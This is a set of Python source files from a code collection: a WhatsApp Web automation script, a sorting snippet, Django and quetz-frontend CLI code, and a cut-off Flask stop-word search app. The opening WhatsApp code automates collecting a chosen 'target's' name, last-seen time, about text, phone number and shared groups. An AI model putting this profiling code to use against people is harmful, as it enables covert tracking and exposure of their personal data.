__type_in_chat_or_message_search(page,target): try: print(f'Looking for: {target}') await page.waitForSelector( whatsapp_selectors_dict['chat_or_message_search'], visible=True, timeout=0 ) await page.waitFor(500) await page.type(whatsapp_selectors_dict['chat_or_message_search'], target) await page.waitFor(3000) except Exception as e: print(e) async def __get_chats_messages_groups_elements(page): chats_messages_groups_elements_list = [] try: chats_messages_groups_elements_list = await page.querySelectorAll\ (whatsapp_selectors_dict['chats_groups_messages_elements']) return chats_messages_groups_elements_list except Exception as e: print(e) exit() async def __get_contacts_matched_with_query(chats_groups_messages_elements_list): contacts_to_choose_from = [] get_contact_node_title_function = 'node => node.parentNode.getAttribute("title")' for idx, element in enumerate(chats_groups_messages_elements_list): try: contact_name = await element.querySelectorEval(whatsapp_selectors_dict['contact_element'],get_contact_node_title_function) contacts_to_choose_from.append((contact_name,idx)) except ElementHandleError: continue except Exception as e: print(e) return contacts_to_choose_from async def __get_groups_matched_with_query(chats_groups_messages_elements_list,hide_groups): groups_to_choose_from = [] if hide_groups: return groups_to_choose_from get_group_node_title_function = 'node => node.parentNode.getAttribute("title")' for idx, element in enumerate(chats_groups_messages_elements_list): try: group_name = await element.querySelectorEval(whatsapp_selectors_dict['group_element'], get_group_node_title_function) groups_to_choose_from.append((group_name,idx)) except ElementHandleError: continue except Exception as e: print(e) return groups_to_choose_from async def __open_selected_chat(target_index,chats_messages_groups_elements_list): try: await chats_messages_groups_elements_list[target_index].click() except Exception as e: print(f"This target doesn't exist! Error: {str(e)}") exit() async def get_complete_info_on_target(page): contact_page_elements = [] try: await page.waitForSelector( whatsapp_selectors_dict['target_chat_header'], visible=True, timeout=3000 ) await page.click(whatsapp_selectors_dict['target_chat_header']) contact_page_elements = await get_contact_page_elements(page) complete_target_info = {} await get_contact_name_info(contact_page_elements[0], complete_target_info) await get_contact_about_and_phone(contact_page_elements[3], complete_target_info) await get_contact_groups_common_with_target(complete_target_info, page) except Exception as e: print(e) return complete_target_info async def get_contact_page_elements(page): contact_page_elements = [] try: await page.waitForSelector( whatsapp_selectors_dict['contact_info_page_elements'], visible=True, timeout=8000 ) contact_page_elements = await page.querySelectorAll(whatsapp_selectors_dict['contact_info_page_elements']) except Exception as e: print(e) return contact_page_elements async def get_contact_name_info(contact_name_element,complete_target_info): try: complete_target_info['Name'] = await contact_name_element.querySelectorEval('span > span', 'element => element.innerText') complete_target_info['Last_seen'] = await contact_name_element.querySelectorEval('div > span:last-of-type > div > span', 'element => element.getAttribute("title")') except: print(f'last seen not available') async def get_contact_about_and_phone(contact_name_element, complete_target_info): try: complete_target_info['About'] = await contact_name_element.querySelectorEval('div:nth-child(2) > div > div > span > span', 'element => element.getAttribute("title")') complete_target_info['Mobile'] = await contact_name_element.querySelectorEval('div:last-of-type > div > div > span > span', 'element => element.innerText') except Exception as e: print(e) async def get_contact_groups_common_with_target(complete_target_info,page): try: await page.waitForSelector( whatsapp_selectors_dict['contact_info_page_group_element_heading'], visible= True, timeout=3000 ) if (await page.evaluate(f'document.querySelector("{whatsapp_selectors_dict["contact_info_page_group_element_heading"]}").innerText'))\ == "Groups in common": group_elements = await page.querySelectorAll(whatsapp_selectors_dict['contact_info_page_group_elements']) complete_target_info['Groups'] = [await ele.querySelectorEval('div>div>div:nth-child(2)>div:first-child>div>div>span', 'e => e.getAttribute("title")') for ele in group_elements] else: complete_target_info['Groups'] = [] except: complete_target_info['Groups'] = [] print(f'No groups in common') async def close_contact_info_page(page): try: await page.waitForSelector( whatsapp_selectors_dict['contact_info_page_close_button'], visible = True, timeout = 5000 ) await page.click(whatsapp_selectors_dict['contact_info_page_close_button']) except Exception as e: print(e) def print_complete_target_info(complete_target_info): for key in complete_target_info.keys(): if key == "Groups": print("Groups:") print(*complete_target_info[key], sep=",") else: print(f'{key}: {complete_target_info[key]} ') async def __open_new_chat(page): await page.waitForSelector( whatsapp_selectors_dict['new_chat_button'], visible=True, timeout=0 ) await page.waitFor(500) await page.click(whatsapp_selectors_dict['new_chat_button']) async def __type_in_new_chat_search_bar(page, target): print(f'Looking for: {target}') logger.info('Searching Target') await page.waitForSelector( whatsapp_selectors_dict['search_contact_input_new_chat'], visible=True ) await page.type(whatsapp_selectors_dict['search_contact_input_new_chat'], target) await page.waitFor(3000) async def __get_contacts_elements_filtered(page, target): contact_list_elements_unchecked = list() try: await page.waitForSelector( whatsapp_selectors_dict['contact_list_elements_filtered_new_chat'], visible=True, timeout=3000 ) contact_list_elements_unchecked = await page.querySelectorAll( whatsapp_selectors_dict['contact_list_elements_filtered_new_chat'] ) except: print(f'No contact named by "{target}"!') logger.info('Target not found') return contact_list_elements_unchecked async def __get_groups_elements_filtered(page, target, hide_groups=False): group_list_elements_unchecked = list() if hide_groups: return group_list_elements_unchecked try: await page.waitForSelector( whatsapp_selectors_dict['group_list_elements_filtered_new_chat'], visible=True, timeout=3000 ) group_list_elements_unchecked = await page.querySelectorAll( whatsapp_selectors_dict['group_list_elements_filtered_new_chat'] ) except: print(f'No group named by "{target}"!') logger.info('Target not found in groups') return group_list_elements_unchecked async def __get_contacts_titles_from_elements_unchecked(page, contact_list_elements_unchecked): contact_titles_unchecked = [] for i in range(len(contact_list_elements_unchecked)): contact_titles_unchecked\ .append(await page.evaluate(f'document.querySelectorAll("{whatsapp_selectors_dict["contact_list_elements_filtered_new_chat"]}")[{i}].getAttribute("title")')) return contact_titles_unchecked async def __get_groups_titles_from_elements_unchecked(page, group_list_elements_unchecked): group_titles_unchecked = [] for i in range(len(group_list_elements_unchecked)): group_titles_unchecked.append(await page.evaluate(f'document.querySelectorAll("{whatsapp_selectors_dict["group_list_elements_filtered_new_chat"]}")[{i}].getAttribute("title")')) return group_titles_unchecked # contact_list_unchecked is a zip (list of tuples) of contact_titles and # contact elements, unchecked. def __zip_contact_titles_and_elements_unchecked(contact_titles_unchecked, contact_list_elements_unchecked): contact_list_unchecked = list(zip(contact_titles_unchecked, contact_list_elements_unchecked)) return contact_list_unchecked def __zip_group_titles_and_elements_unchecked(group_titles_unchecked, group_list_elements_unchecked): group_list_unchecked = list(zip(group_titles_unchecked, group_list_elements_unchecked)) return group_list_unchecked # __checking_contact_list verify if target is in title, if not we pop from list def __check_contact_list(target, contact_list_unchecked): i = 0 while i < len(contact_list_unchecked): if len(contact_list_unchecked) <= 0: break # we can add more verifications if we are getting false-positive contacts if contact_list_unchecked[i][0].lower().find(target.lower()) == -1: try: contact_list_unchecked.pop(i) except Exception as e: print(f'Error: {str(e)}') i -= 1 i += 1 contact_tuple = tuple(contact_list_unchecked) return contact_tuple def __check_group_list(target, group_list_unchecked): i = 0 while i < len(group_list_unchecked): if len(group_list_unchecked) <= 0: break # we can add more verifications if we are getting false-positive groups if group_list_unchecked[i][0].lower().find(target.lower()) == -1: try: group_list_unchecked.pop(i) except Exception as e: print(f'Error: {str(e)}') i -= 1 i += 1 group_tuple = tuple(group_list_unchecked) return group_tuple # target_list is like that: (((0, 'a'), (1, 'b')), ((3, 'c'), (4, 'd'))), # but instead numbers and letters we have titles and elements # the first index is the contacts and the second is the groups def __get_target_tuple(contact_tuple, group_tuple): target_tuple = (contact_tuple, group_tuple) return target_tuple def __print_target_tuple(target_tuple): lenght_of_contacts_tuple = len(target_tuple[0]) lenght_of_groups_tuple = len(target_tuple[1]) for i in range(lenght_of_contacts_tuple): if lenght_of_contacts_tuple <= 0: break if i == 0: print("Contacts found:") logger.info('List of Targets') print(f'{i}: {target_tuple[0][i][0]}') for i in range(lenght_of_contacts_tuple, lenght_of_groups_tuple + lenght_of_contacts_tuple): if lenght_of_groups_tuple <= 0: break if i == lenght_of_contacts_tuple: print("Groups found:") logger.info('List of Target in groups') print(f'{i}: {target_tuple[1][i-lenght_of_contacts_tuple][0]}') def __ask_user_to_choose_the_filtered_target(target_tuple): if len(target_tuple[0] + target_tuple[1]) > 0: logger.info('Input Target Number') target_index_choosed = int( input('Enter the number of the target you wish to choose: ')) return target_index_choosed def __get_choosed_target(target_tuple, target_index_choosed): lenght_of_contacts_tuple = len(target_tuple[0]) if target_index_choosed is None: exit() try: if target_index_choosed < lenght_of_contacts_tuple: choosed_target = target_tuple[0][target_index_choosed] elif target_index_choosed >= lenght_of_contacts_tuple: choosed_target = target_tuple[1][target_index_choosed - lenght_of_contacts_tuple] else: print("This target doesn't exist!") logger.error('Invalid Target') exit() except Exception as e: print(f"This target doesn't exist! Error: {str(e)}") logger.error('Invalid Target') exit() return choosed_target async def __navigate_to_target(page, choosed_target): try: await choosed_target[1].click() except Exception as e: print(f"This target doesn't exist! Error: {str(e)}") logger.error('Invalid Target') exit() async def __get_focused_target_title(page, target): try: await page.waitForSelector(whatsapp_selectors_dict['target_focused_title']) target_focused_title = await page.evaluate(f'document.querySelector("{whatsapp_selectors_dict["target_focused_title"]}").getAttribute("title")') except Exception as e: print(f'No target selected! Error: {str(e)}') logger.error('Target not selected from list') exit() return target_focused_title def __print_selected_target_title(target_focused_title): print(f"You've selected the target named by: {target_focused_title}") logger.info('Selected Target') def __check_target_focused_title(page, target, target_focused_title): if target_focused_title.lower().find(target.lower()) == -1: print(f"You're focused in the wrong target, {target_focused_title}") must_continue = str(input("Do you want to continue (yes/no)? ")) accepted_yes = {'yes', 'y'} if must_continue.lower() in accepted_yes: pass else: exit() async def __wait_for_message_area(page): try: await page.waitForSelector(whatsapp_selectors_dict['message_area']) except Exception as e: print(f"You don't belong this group anymore! Error: {str(e)}") # endregion

true

f7053131cfb854f87cef18f6a13009e7cb2dedd0

349

py

Python

21 Others/BEG.py

XuuRee/python-data-structures

a3972f5781d666d15d61c0d474877880d1b7c483

[ "MIT" ]

null

21 Others/BEG.py

XuuRee/python-data-structures

a3972f5781d666d15d61c0d474877880d1b7c483

[ "MIT" ]

null

21 Others/BEG.py

XuuRee/python-data-structures

a3972f5781d666d15d61c0d474877880d1b7c483

[ "MIT" ]

null

def beg(arr): a = [] b = [] c = [] for i in arr: if i == 0: a.append(i) if i == 1: b.append(i) if i == 2: c.append(i) return a+b+c a = [] b = [0,0,0] c = [1,2,1,1,2,1,2] d = [0,2,1,0,1,0,2,2,2,1,0,2,1,0,1,2,0] print(beg(a)) print(beg(b)) print(beg(c)) print(beg(d))

14.541667

39

0.381089

def beg(arr): a = [] b = [] c = [] for i in arr: if i == 0: a.append(i) if i == 1: b.append(i) if i == 2: c.append(i) return a+b+c a = [] b = [0,0,0] c = [1,2,1,1,2,1,2] d = [0,2,1,0,1,0,2,2,2,1,0,2,1,0,1,2,0] print(beg(a)) print(beg(b)) print(beg(c)) print(beg(d))

true

f7053142d8894d29c2b779e200a2ae10343b6829

138

py

Python

modules/msa/msa/contrib/master/apps.py

haoyutan/MSA-Framework

7c5553b244347f26029729161e15e60b0cc805f5

[ "MIT" ]

2

2016-11-22T11:44:52.000Z

2017-08-29T02:38:01.000Z

modules/msa/msa/contrib/master/apps.py

haoyutan/MSA-Framework

7c5553b244347f26029729161e15e60b0cc805f5

[ "MIT" ]

null

modules/msa/msa/contrib/master/apps.py

haoyutan/MSA-Framework

7c5553b244347f26029729161e15e60b0cc805f5

[ "MIT" ]

null

from django.apps import AppConfig class MasterAppConfig(AppConfig): name = 'msa.contrib.master' verbose_name = 'Master Service'

19.714286

35

0.746377

from django.apps import AppConfig class MasterAppConfig(AppConfig): name = 'msa.contrib.master' verbose_name = 'Master Service'

true

f70531491a4fe1bfff0ca5ec957d7f9cd2f74762

8,381

py

Python

quetz_frontend/cli.py

hbcarlos/quetz-frontend

86a41de3a3e05c4c324bf2c5f2d4dda76a4fa3ce

[ "BSD-3-Clause" ]

null

quetz_frontend/cli.py

hbcarlos/quetz-frontend

86a41de3a3e05c4c324bf2c5f2d4dda76a4fa3ce

[ "BSD-3-Clause" ]

null

quetz_frontend/cli.py

hbcarlos/quetz-frontend

86a41de3a3e05c4c324bf2c5f2d4dda76a4fa3ce

[ "BSD-3-Clause" ]

null

import importlib import json import os import shutil import subprocess from pathlib import Path from shutil import which from typing import List, Optional, Tuple from setuptools import find_packages from typer import Argument, Option, Typer from .paths import ( GLOBAL_APP_DIR, GLOBAL_EXTENSIONS_DIR, GLOBAL_FRONTEND_DIR, GLOBAL_QUETZ_DIR, LOCAL_APP_DIR, ) from .utils import clean_dir, get_extensions_dir, get_federated_extensions app = Typer() @app.command() def link_frontend( dev_mode: bool = Option( False, "--development", help="Whether to install it in dev mode or not" ) ) -> None: """Intall the Quetz-Frontend""" assert LOCAL_APP_DIR.exists() if not GLOBAL_FRONTEND_DIR.exists(): GLOBAL_FRONTEND_DIR.mkdir(parents=True, exist_ok=True) if GLOBAL_APP_DIR.exists(): if GLOBAL_APP_DIR.is_symlink(): GLOBAL_APP_DIR.unlink() else: shutil.rmtree(GLOBAL_APP_DIR) if dev_mode: GLOBAL_APP_DIR.symlink_to(LOCAL_APP_DIR) print( f"""Symlink created: Ori: {LOCAL_APP_DIR} Dest: {GLOBAL_APP_DIR} """ ) else: shutil.copytree(LOCAL_APP_DIR, GLOBAL_APP_DIR, symlinks=True) print( f"""App directory copied: Ori: {LOCAL_APP_DIR} Dest: {GLOBAL_APP_DIR} """ ) @app.command() def clean_frontend() -> None: """Clean the Quetz-Frontend""" if GLOBAL_APP_DIR.is_file() or GLOBAL_APP_DIR.is_symlink(): GLOBAL_APP_DIR.unlink() elif GLOBAL_APP_DIR.is_dir(): shutil.rmtree(GLOBAL_APP_DIR) @app.command() def install(ext_path: str = Argument(Path(), help="The path of the extension")) -> None: """Build and install an extension""" if not GLOBAL_EXTENSIONS_DIR.exists(): os.mkdir(GLOBAL_EXTENSIONS_DIR) extension_path = Path(ext_path).resolve() assert extension_path.joinpath("package.json").exists() _build_extension(ext_path, True, False) module, metadata = _get_extensions_metadata(extension_path) src = Path(extension_path).joinpath(module.__name__, metadata[0]["src"]) dest = GLOBAL_EXTENSIONS_DIR.joinpath(metadata[0]["dest"]) clean_dir(dest) shutil.copytree(src, dest, symlinks=True) print( f""" Extension installed: Path: {dest} """ ) @app.command() def develop(ext_path: str = Argument(Path(), help="The path of the extension")) -> None: """Build and install an extension in dev mode""" if not GLOBAL_EXTENSIONS_DIR.exists(): os.mkdir(GLOBAL_EXTENSIONS_DIR) extension_path = Path(ext_path).resolve() assert extension_path.joinpath("package.json").exists() _build_extension(extension_path, True, False) _develop_extension(extension_path) @app.command() def build( ext_path: str = Argument(Path(), help="The path of the extension"), dev_mode: bool = Option(False, "--development", help="Build in development"), ) -> None: """Build an extension""" if not GLOBAL_EXTENSIONS_DIR.exists(): os.mkdir(GLOBAL_EXTENSIONS_DIR) extension_path = Path(ext_path).resolve() assert extension_path.joinpath("package.json").exists() _build_extension(extension_path, dev_mode, False) @app.command() def watch(ext_path: str = Argument(Path(), help="The path of the extension")) -> None: """Watch an extension""" if not GLOBAL_EXTENSIONS_DIR.exists(): os.mkdir(GLOBAL_EXTENSIONS_DIR) extension_path = Path(ext_path).resolve() assert extension_path.joinpath("package.json").exists() _develop_extension(extension_path) _build_extension(extension_path, True, True) @app.command() def uninstall(ext_name: str = Argument("", help="The name of the extension")) -> None: """Uninstall an extension""" if not GLOBAL_EXTENSIONS_DIR.exists(): os.mkdir(GLOBAL_EXTENSIONS_DIR) extension_path = Path(GLOBAL_EXTENSIONS_DIR, ext_name) clean_dir(extension_path) @app.command() def list() -> None: """List of extensions""" print(f"Installed extensions:") print(f"---------------------") print(f" Installation path: '{GLOBAL_EXTENSIONS_DIR}'\n") extensions = get_federated_extensions([get_extensions_dir()]) if not extensions: print("No installed extensions yet") for ext in extensions.values(): print(f'\t- {Path(ext["ext_path"]).relative_to(GLOBAL_EXTENSIONS_DIR)}') print() @app.command() def clean() -> None: """Clean the extensions directory""" if GLOBAL_EXTENSIONS_DIR.exists(): shutil.rmtree(GLOBAL_EXTENSIONS_DIR) @app.command() def paths() -> None: """Quetz installation paths""" print( f""" System cofigured paths: Quetz: {GLOBAL_QUETZ_DIR} Frontend: {GLOBAL_FRONTEND_DIR} App: {GLOBAL_APP_DIR} Extensions: {GLOBAL_EXTENSIONS_DIR} """ ) def _develop_extension(ext_path: Path): with (ext_path / "package.json").open(encoding="utf-8") as fid: ext_data = json.load(fid) _, metadata = _get_extensions_metadata(ext_path) src = ext_path / ext_data["quetz"].get("outputDir", metadata[0]["src"]) dest = GLOBAL_EXTENSIONS_DIR.joinpath(ext_data["name"]) clean_dir(dest) # Create parent directory if extension name is scoped dest.parent.mkdir(parents=True, exist_ok=True) dest.symlink_to(src) print( f""" Symlink created: Ori: {src!s} Dest: {dest!s} """ ) def _build_extension(ext_path: Path, dev_mode: bool = False, watch: bool = False): if not GLOBAL_APP_DIR.joinpath("package.json").exists(): print(f"Quetz frontend not fount at '{GLOBAL_APP_DIR!s}'") builder_path = _find_builder(ext_path) if builder_path is None: print(f"Could not find @quetz-frontend/builder at {ext_path!s}") print(f"Extensions require a devDependency '@quetz-frontend/builder'") return exe = "node" exe_path = which(exe) if not exe_path: print(f"Could not find {exe}. Install NodeJS.") exit(1) command = [exe, str(builder_path), "--core-path", str(GLOBAL_APP_DIR.resolve())] if dev_mode: command.append("--development") command.append("--source-map") if watch: command.append("--watch") command.append(str(ext_path)) print("Building extension") subprocess.check_call(command) def _find_builder(ext_path: Path) -> Optional[Path]: """Find the package '@quetz-frontend/builder' in the extension dependencies""" with (ext_path / "package.json").open(encoding="utf-8") as fid: ext_data = json.load(fid) depVersion2 = ext_data.get("devDependencies", dict()).get("@quetz-frontend/builder") depVersion2 = depVersion2 or ext_data.get("dependencies", dict()).get( "@quetz-frontend/builder" ) if depVersion2 is None: return None # Find @quetz-frontend/builder in the node_modules directory target = ext_path while not (target / "node_modules" / "@quetz-frontend" / "builder").exists(): if target.parent == target: return None target = target.parent return ( target / "node_modules" / "@quetz-frontend" / "builder" / "lib" / "build-quetzextension.js" ) def _get_extensions_metadata( module_path: Path, ) -> Tuple["importlib.ModuleType", List[str]]: mod_path = module_path.resolve() if not mod_path.exists(): raise FileNotFoundError(f"The path `{mod_path!s}` does not exist.") # TODO: Change function name to match lab try: module = importlib.import_module(str(module_path)) if hasattr(module, "js_plugin_paths"): return module, module.js_plugin_paths() else: module = None except Exception: module = None # Looking for modules in the package packages = find_packages(str(mod_path)) for package in packages: try: module = importlib.import_module(package) if hasattr(module, "js_plugin_paths"): return module, module.js_plugin_paths() except Exception: module = None raise ModuleNotFoundError(f"There is not a extension at {module_path}") if __name__ == "__main__": app()

26.862179

88

0.65386

import importlib import json import os import shutil import subprocess from pathlib import Path from shutil import which from typing import List, Optional, Tuple from setuptools import find_packages from typer import Argument, Option, Typer from .paths import ( GLOBAL_APP_DIR, GLOBAL_EXTENSIONS_DIR, GLOBAL_FRONTEND_DIR, GLOBAL_QUETZ_DIR, LOCAL_APP_DIR, ) from .utils import clean_dir, get_extensions_dir, get_federated_extensions app = Typer() @app.command() def link_frontend( dev_mode: bool = Option( False, "--development", help="Whether to install it in dev mode or not" ) ) -> None: assert LOCAL_APP_DIR.exists() if not GLOBAL_FRONTEND_DIR.exists(): GLOBAL_FRONTEND_DIR.mkdir(parents=True, exist_ok=True) if GLOBAL_APP_DIR.exists(): if GLOBAL_APP_DIR.is_symlink(): GLOBAL_APP_DIR.unlink() else: shutil.rmtree(GLOBAL_APP_DIR) if dev_mode: GLOBAL_APP_DIR.symlink_to(LOCAL_APP_DIR) print( f"""Symlink created: Ori: {LOCAL_APP_DIR} Dest: {GLOBAL_APP_DIR} """ ) else: shutil.copytree(LOCAL_APP_DIR, GLOBAL_APP_DIR, symlinks=True) print( f"""App directory copied: Ori: {LOCAL_APP_DIR} Dest: {GLOBAL_APP_DIR} """ ) @app.command() def clean_frontend() -> None: if GLOBAL_APP_DIR.is_file() or GLOBAL_APP_DIR.is_symlink(): GLOBAL_APP_DIR.unlink() elif GLOBAL_APP_DIR.is_dir(): shutil.rmtree(GLOBAL_APP_DIR) @app.command() def install(ext_path: str = Argument(Path(), help="The path of the extension")) -> None: if not GLOBAL_EXTENSIONS_DIR.exists(): os.mkdir(GLOBAL_EXTENSIONS_DIR) extension_path = Path(ext_path).resolve() assert extension_path.joinpath("package.json").exists() _build_extension(ext_path, True, False) module, metadata = _get_extensions_metadata(extension_path) src = Path(extension_path).joinpath(module.__name__, metadata[0]["src"]) dest = GLOBAL_EXTENSIONS_DIR.joinpath(metadata[0]["dest"]) clean_dir(dest) shutil.copytree(src, dest, symlinks=True) print( f""" Extension installed: Path: {dest} """ ) @app.command() def develop(ext_path: str = Argument(Path(), help="The path of the extension")) -> None: if not GLOBAL_EXTENSIONS_DIR.exists(): os.mkdir(GLOBAL_EXTENSIONS_DIR) extension_path = Path(ext_path).resolve() assert extension_path.joinpath("package.json").exists() _build_extension(extension_path, True, False) _develop_extension(extension_path) @app.command() def build( ext_path: str = Argument(Path(), help="The path of the extension"), dev_mode: bool = Option(False, "--development", help="Build in development"), ) -> None: if not GLOBAL_EXTENSIONS_DIR.exists(): os.mkdir(GLOBAL_EXTENSIONS_DIR) extension_path = Path(ext_path).resolve() assert extension_path.joinpath("package.json").exists() _build_extension(extension_path, dev_mode, False) @app.command() def watch(ext_path: str = Argument(Path(), help="The path of the extension")) -> None: if not GLOBAL_EXTENSIONS_DIR.exists(): os.mkdir(GLOBAL_EXTENSIONS_DIR) extension_path = Path(ext_path).resolve() assert extension_path.joinpath("package.json").exists() _develop_extension(extension_path) _build_extension(extension_path, True, True) @app.command() def uninstall(ext_name: str = Argument("", help="The name of the extension")) -> None: if not GLOBAL_EXTENSIONS_DIR.exists(): os.mkdir(GLOBAL_EXTENSIONS_DIR) extension_path = Path(GLOBAL_EXTENSIONS_DIR, ext_name) clean_dir(extension_path) @app.command() def list() -> None: print(f"Installed extensions:") print(f"---------------------") print(f" Installation path: '{GLOBAL_EXTENSIONS_DIR}'\n") extensions = get_federated_extensions([get_extensions_dir()]) if not extensions: print("No installed extensions yet") for ext in extensions.values(): print(f'\t- {Path(ext["ext_path"]).relative_to(GLOBAL_EXTENSIONS_DIR)}') print() @app.command() def clean() -> None: if GLOBAL_EXTENSIONS_DIR.exists(): shutil.rmtree(GLOBAL_EXTENSIONS_DIR) @app.command() def paths() -> None: print( f""" System cofigured paths: Quetz: {GLOBAL_QUETZ_DIR} Frontend: {GLOBAL_FRONTEND_DIR} App: {GLOBAL_APP_DIR} Extensions: {GLOBAL_EXTENSIONS_DIR} """ ) def _develop_extension(ext_path: Path): with (ext_path / "package.json").open(encoding="utf-8") as fid: ext_data = json.load(fid) _, metadata = _get_extensions_metadata(ext_path) src = ext_path / ext_data["quetz"].get("outputDir", metadata[0]["src"]) dest = GLOBAL_EXTENSIONS_DIR.joinpath(ext_data["name"]) clean_dir(dest) dest.parent.mkdir(parents=True, exist_ok=True) dest.symlink_to(src) print( f""" Symlink created: Ori: {src!s} Dest: {dest!s} """ ) def _build_extension(ext_path: Path, dev_mode: bool = False, watch: bool = False): if not GLOBAL_APP_DIR.joinpath("package.json").exists(): print(f"Quetz frontend not fount at '{GLOBAL_APP_DIR!s}'") builder_path = _find_builder(ext_path) if builder_path is None: print(f"Could not find @quetz-frontend/builder at {ext_path!s}") print(f"Extensions require a devDependency '@quetz-frontend/builder'") return exe = "node" exe_path = which(exe) if not exe_path: print(f"Could not find {exe}. Install NodeJS.") exit(1) command = [exe, str(builder_path), "--core-path", str(GLOBAL_APP_DIR.resolve())] if dev_mode: command.append("--development") command.append("--source-map") if watch: command.append("--watch") command.append(str(ext_path)) print("Building extension") subprocess.check_call(command) def _find_builder(ext_path: Path) -> Optional[Path]: with (ext_path / "package.json").open(encoding="utf-8") as fid: ext_data = json.load(fid) depVersion2 = ext_data.get("devDependencies", dict()).get("@quetz-frontend/builder") depVersion2 = depVersion2 or ext_data.get("dependencies", dict()).get( "@quetz-frontend/builder" ) if depVersion2 is None: return None target = ext_path while not (target / "node_modules" / "@quetz-frontend" / "builder").exists(): if target.parent == target: return None target = target.parent return ( target / "node_modules" / "@quetz-frontend" / "builder" / "lib" / "build-quetzextension.js" ) def _get_extensions_metadata( module_path: Path, ) -> Tuple["importlib.ModuleType", List[str]]: mod_path = module_path.resolve() if not mod_path.exists(): raise FileNotFoundError(f"The path `{mod_path!s}` does not exist.") try: module = importlib.import_module(str(module_path)) if hasattr(module, "js_plugin_paths"): return module, module.js_plugin_paths() else: module = None except Exception: module = None packages = find_packages(str(mod_path)) for package in packages: try: module = importlib.import_module(package) if hasattr(module, "js_plugin_paths"): return module, module.js_plugin_paths() except Exception: module = None raise ModuleNotFoundError(f"There is not a extension at {module_path}") if __name__ == "__main__": app()

true

f70531e2ad32c627bf6d2ee9773984e911b06c5b

192

py

Python

socorepo/locators/__init__.py

LoadingByte/socorepo

c0880d3ad55c9d8f8aab53f5cc16600661c10c2b

[ "MIT" ]

null

socorepo/locators/__init__.py

LoadingByte/socorepo

c0880d3ad55c9d8f8aab53f5cc16600661c10c2b

[ "MIT" ]

null

socorepo/locators/__init__.py

LoadingByte/socorepo

c0880d3ad55c9d8f8aab53f5cc16600661c10c2b

[ "MIT" ]

null

from socorepo.locators import github_tags, nexus3, pypi LOCATOR_PARSERS = { "github_tags": github_tags.parse_locator, "nexus3": nexus3.parse_locator, "pypi": pypi.parse_locator }

24

55

0.744792

from socorepo.locators import github_tags, nexus3, pypi LOCATOR_PARSERS = { "github_tags": github_tags.parse_locator, "nexus3": nexus3.parse_locator, "pypi": pypi.parse_locator }

true

f705329421c3a54d538ba279a1d4c9007a13943a

3,953

py

Python

stopWords.py

AninditaBasu/mattermost-hackathon-stopWords

11781ee3f89bf66ebd9c2b11162a588a98b237b6

[ "MIT" ]

2

2019-11-25T19:22:24.000Z

2020-07-07T04:54:50.000Z

stopWords.py

AninditaBasu/mattermost-hackathon-stopWords

11781ee3f89bf66ebd9c2b11162a588a98b237b6

[ "MIT" ]

null

stopWords.py

AninditaBasu/mattermost-hackathon-stopWords

11781ee3f89bf66ebd9c2b11162a588a98b237b6

[ "MIT" ]

null

from flask import Flask, render_template, request import json import requests app = Flask(__name__) @app.route('/') def stop_words(): URL_prefix = 'https://api.github.com/search/code?q=' URL_suffix = '+repo:spotify/mkdocs-monorepo-plugin/docs' reportfile = open('./templates/stopWordsSearch.html', 'w') reportfile.write('<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1">') reportfile.write('<link rel="stylesheet" type="text/css" href="../static/bootstrap.min.css">') reportfile.write('<link rel="stylesheet" type="text/css" href="../static/common.css">') reportfile.write('<script src="../static/jquery.min.js"></script>') reportfile.write('<script src="../static/popper.min.js"></script>') reportfile.write('<script src="../static/bootstrap.min.js"></script>') reportfile.write('<title>Stop-words Search</title></head>') reportfile.write('<body><div class="container"><h1>Stop-words Search</h1>') fname = './static/wordList.txt' wordlist = [] explainlist = [] print("\n") print('Reading the word list ...\n') fwordlist = open(fname, 'r') for line in fwordlist: colon = line.find(':') word = line[0:(colon)] explain = line[(colon + 1):] explain = explain.rstrip() print(word) print(explain) wordlist.append(word) explainlist.append(explain) fwordlist.close() print(wordlist) print(explainlist) x = len(wordlist) print('\nNo. of words and phrases to search for: ', x) try: reportfile.write('<p class="lead">Consider reviewing the occurrences of the following words in the documentation.</p><hr/>') wordpos = 0 for word in wordlist: url_string = URL_prefix + word + URL_suffix r = requests.get(url_string) json_data = json.loads(json.dumps(r.json())) print(json_data) if len(json_data['items']) != 0: print(word) reportfile.write('<div class="container">') reportfile.write('<h2>' + word + '</h2>') print(explainlist[wordpos]) reportfile.write('<p>' + explainlist[wordpos] + '</p>') print(json_data['total_count'], 'instances of', word) reportfile.write('<p>' + str(json_data['total_count']) + ' instances of <mark>' + word + '</mark> found in the following files:</p>') reportfile.write('<ul>') for line in json_data['items']: for k, v in line.items(): if k == 'path': print(v) reportfile.write('<li>' + v + '</li>') print('--------\n') reportfile.write('</ul>') reportfile.write('</div>') reportfile.write('<hr/>') wordpos = wordpos + 1 except: reportfile.write("<p class='text-danger'>>>>>> If you're seeing these lines, it means you've hit the API rate limits for GitHub search and the Stopwords search was abandoned.</p>") #reportfile.write("<p class='text-danger'>Had the search been completed, you would've got an output shown in the following image.</p>") #reportfile.write('<img src="../static/stopWords.png"/>') reportfile.write("<p class='text-danger'>Maybe choose a smaller documentation repository for your search?</p>") reportfile.write("<p class='text-danger'>But then, this is just a demo and you get the general idea, I hope? <<<<<") reportfile.write("</div></body>") reportfile.write("</html>") reportfile.close() return render_template('stopWordsSearch.html') if __name__ == "__main__": port = int(os.environ.get("PORT", 5000)) app.run(host='0.0.0.0', port=port) #app.run()

47.059524

203

0.589679

from flask import Flask, render_template, request import json import requests app = Flask(__name__) @app.route('/') def stop_words(): URL_prefix = 'https://api.github.com/search/code?q=' URL_suffix = '+repo:spotify/mkdocs-monorepo-plugin/docs' reportfile = open('./templates/stopWordsSearch.html', 'w') reportfile.write('<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1">') reportfile.write('<link rel="stylesheet" type="text/css" href="../static/bootstrap.min.css">') reportfile.write('<link rel="stylesheet" type="text/css" href="../static/common.css">') reportfile.write('<script src="../static/jquery.min.js"></script>') reportfile.write('<script src="../static/popper.min.js"></script>') reportfile.write('<script src="../static/bootstrap.min.js"></script>') reportfile.write('<title>Stop-words Search</title></head>') reportfile.write('<body><div class="container"><h1>Stop-words Search</h1>') fname = './static/wordList.txt' wordlist = [] explainlist = [] print("\n") print('Reading the word list ...\n') fwordlist = open(fname, 'r') for line in fwordlist: colon = line.find(':') word = line[0:(colon)] explain = line[(colon + 1):] explain = explain.rstrip() print(word) print(explain) wordlist.append(word) explainlist.append(explain) fwordlist.close() print(wordlist) print(explainlist) x = len(wordlist) print('\nNo. of words and phrases to search for: ', x) try: 